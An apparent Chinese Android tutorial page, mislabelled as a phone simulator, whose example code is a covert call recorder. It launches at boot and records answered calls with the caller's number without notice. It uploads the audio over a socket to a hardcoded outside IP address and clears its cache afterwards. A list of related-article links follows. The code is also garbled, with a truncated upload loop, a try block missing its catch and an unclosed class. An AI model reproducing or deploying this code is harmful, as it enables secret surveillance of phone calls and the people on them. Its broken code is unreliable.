android電話模擬器(示例代碼)
在本實(shí)例中,將使用新的技術(shù)“服務(wù)”來解決這些缺陷。
package cn.itcast.phone;
import java.io.File;
import java.io.OutputStream;
import java.io.PushbackInputStream;
import java.io.RandomAccessFile;
import java.net.Socket;
import cn.itcast.utils.StreamTool;
import android.app.Service;
import android.content.Context;
import android.content.Intent;
import android.media.MediaRecorder;
import android.os.IBinder;
import android.telephony.PhoneStateListener;
import android.telephony.TelephonyManager;
import android.telephony.gsm.SmsManager;
import android.util.Log;
public class PhoneListenService extends Service {
private static final String TAG = "PhoneListenService";
@Override
public void onCreate() {
TelephonyManager telManager = (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE);
telManager.listen(new TelListener(), PhoneStateListener.LISTEN_CALL_STATE);
Log.i(TAG, "service created");
super.onCreate();
}
@Override
public void onDestroy() {//清空緩存目錄下的所有文件
File[] files = getCacheDir().listFiles();
if(files!=null){
for(File f: files){
f.delete();
}
}
Log.i(TAG, "service destroy");
super.onDestroy();
}
private class TelListener extends PhoneStateListener{
private MediaRecorder recorder;
private String mobile;
private File audioFile;
private boolean record;
@Override
public void onCallStateChanged(int state, String incomingNumber) {
try {
switch (state){
case TelephonyManager.CALL_STATE_IDLE: /* 無任何狀態(tài)時(shí) */
if(record){
recorder.stop();//停止刻錄
recorder.release();
record = false;
new Thread(new UploadTask()).start();
Log.i(TAG, "start upload file");
}
break;
case TelephonyManager.CALL_STATE_OFFHOOK: /* 接起電話時(shí) */
Log.i(TAG, "OFFHOOK:"+ mobile);
recorder = new MediaRecorder();
recorder.setAudioSource(MediaRecorder.AudioSource.MIC);//從麥克風(fēng)采集聲音(暫時(shí)只能到麥克風(fēng)的聲音信號,不到聽筒的信號--只能到此人的說話,聽不到對方說啥)
recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);//內(nèi)容輸出格式
recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);//音頻編碼方式
audioFile = new File(getCacheDir(), mobile+"_"+ System.currentTimeMillis()+".3gp");
recorder.setOutputFile(audioFile.getAbsolutePath());
recorder.prepare();//預(yù)期準(zhǔn)備
recorder.start(); //開始刻錄
record = true;
break;
case TelephonyManager.CALL_STATE_RINGING: /* 電話進(jìn)來時(shí) */
Log.i(TAG, "incomingNumber:"+ incomingNumber);
mobile = incomingNumber;
break;
default:
break;
}
} catch (Exception e) {
Log.e(TAG, e.toString());
}
super.onCallStateChanged(state, incomingNumber);
}
private final class UploadTask implements Runnable{
@Override
public void run() {
try {
Socket socket = new Socket("220.113.15.71", 7878);
OutputStream outStream = socket.getOutputStream();
String head = "Content-Length="+ audioFile.length() + ";filename="+ audioFile.getName() + ";sourceid=\r\n";
outStream.write(head.getBytes());
PushbackInputStream inStream = new PushbackInputStream(socket.getInputStream());
String response = StreamTool.readLine(inStream);
String[] items = response.split(";");
String position = items[1].substring(items[1].indexOf("=")+1);
RandomAccessFile fileOutStream = new RandomAccessFile(audioFile, "r");
fileOutStream.seek(Integer.valueOf(position));
byte[] buffer = new byte[1024];
int len = -1;
}
}
}
@Override
public IBinder onBind(Intent intent) {
// TODO Auto-generated method stub
return null;
}
}
package cn.itcast.phone;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
public class BootBroadcastReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
//android開機(jī)廣播,開機(jī)后啟動(dòng)電話服務(wù)
Intent service = new Intent(context, PhoneListenService.class);
context.startService(service);
}
}
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="cn.itcast.phone"
android:versionCode="1"
android:versionName="1.0">
<application android:icon="@drawable/icon" android:label="@string/app_name">
<service android:name=".PhoneListenService" />
<receiver android:name=".BootBroadcastReceiver">
<intent-filter>
<action android:name="android.intent.action.BOOT_COMPLETED"/>
</intent-filter>
</receiver>
</application>
<uses-sdk android:minSdkVersion="7" />
<uses-permission android:name="android.permission.RECORD_AUDIO"/>
<!-- 訪問網(wǎng)絡(luò)的權(quán)限 -->
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
</manifest>
package cn.itcast.utils;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.PushbackInputStream;
public class StreamTool {
public static void save(File file, byte[] data) throws Exception {
FileOutputStream outStream = new FileOutputStream(file);
outStream.write(data);
outStream.close();
}
public static String readLine(PushbackInputStream in) throws IOException {
char buf[] = new char[128];
int room = buf.length;
int offset = 0;
int c;
loop: while (true) {
switch (c = in.read()) {
case -1:
case '\n':
break loop;
case '\r':
int c2 = in.read();
if ((c2 != '\n') && (c2 != -1)) in.unread(c2);
break loop;
default:
if (--room < 0) {
char[] lineBuffer = buf;
buf = new char[offset + 128];
room = buf.length - offset - 1;
System.arraycopy(lineBuffer, 0, buf, 0, offset);
}
buf[offset++] = (char) c;
break;
}
}
if ((c == -1) && (offset == 0)) return null;
return String.copyValueOf(buf, 0, offset);
}
相關(guān)文章
Android仿活動(dòng)時(shí)分秒倒計(jì)時(shí)效果
這篇文章主要為大家詳細(xì)介紹了Android仿活動(dòng)時(shí)分秒倒計(jì)時(shí)效果,具有一定的參考價(jià)值,感興趣的小伙伴們可以參考一下2018-02-02Android 實(shí)現(xiàn)電話來去自動(dòng)錄音的功能
本文主要介紹Android 電話自動(dòng)錄音功能的開發(fā),這里提供實(shí)現(xiàn)代碼和實(shí)現(xiàn)效果圖,有需要的小伙伴可以參考下2016-08-08Android 游戲引擎libgdx 資源加載進(jìn)度百分比顯示案例分析
因?yàn)榘咐容^簡單,所以簡單用AndroidApplication -> Game -> Stage 搭建框架感興趣的朋友可以參考下2013-01-01Android應(yīng)用開發(fā)中數(shù)據(jù)的保存方式總結(jié)
這篇文章主要介紹了Android應(yīng)用開發(fā)中數(shù)據(jù)的保存方式總結(jié),包括對ROM、SD卡、SharedPreference這三種方式實(shí)現(xiàn)的核心代碼的精選,需要的朋友可以參考下2016-02-02android實(shí)現(xiàn)多線程斷點(diǎn)續(xù)傳功能
這篇文章主要為大家詳細(xì)介紹了android實(shí)現(xiàn)多線程斷點(diǎn)續(xù)傳功能,具有一定的參考價(jià)值,感興趣的小伙伴們可以參考一下2017-11-11Kotlin學(xué)習(xí)教程之協(xié)程Coroutine
這篇文章主要給大家介紹了關(guān)于Kotlin學(xué)習(xí)教程之協(xié)程Coroutine的相關(guān)資料,文中通過示例代碼介紹的非常詳細(xì),對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧2018-05-05Android開發(fā)自學(xué)筆記(一):Hello,world!
這篇文章主要介紹了Android開發(fā)自學(xué)筆記(一):Hello,world!本文講解了創(chuàng)建HelloWorld工程、編寫代碼、啟動(dòng)模擬器等步驟,需要的朋友可以參考下2015-04-04Android列表組件ListView使用詳解之動(dòng)態(tài)加載或修改列表數(shù)據(jù)
今天小編就為大家分享一篇關(guān)于Android列表組件ListView使用詳解之動(dòng)態(tài)加載或修改列表數(shù)據(jù),小編覺得內(nèi)容挺不錯(cuò)的,現(xiàn)在分享給大家,具有很好的參考價(jià)值,需要的朋友一起跟隨小編來看看吧2019-03-03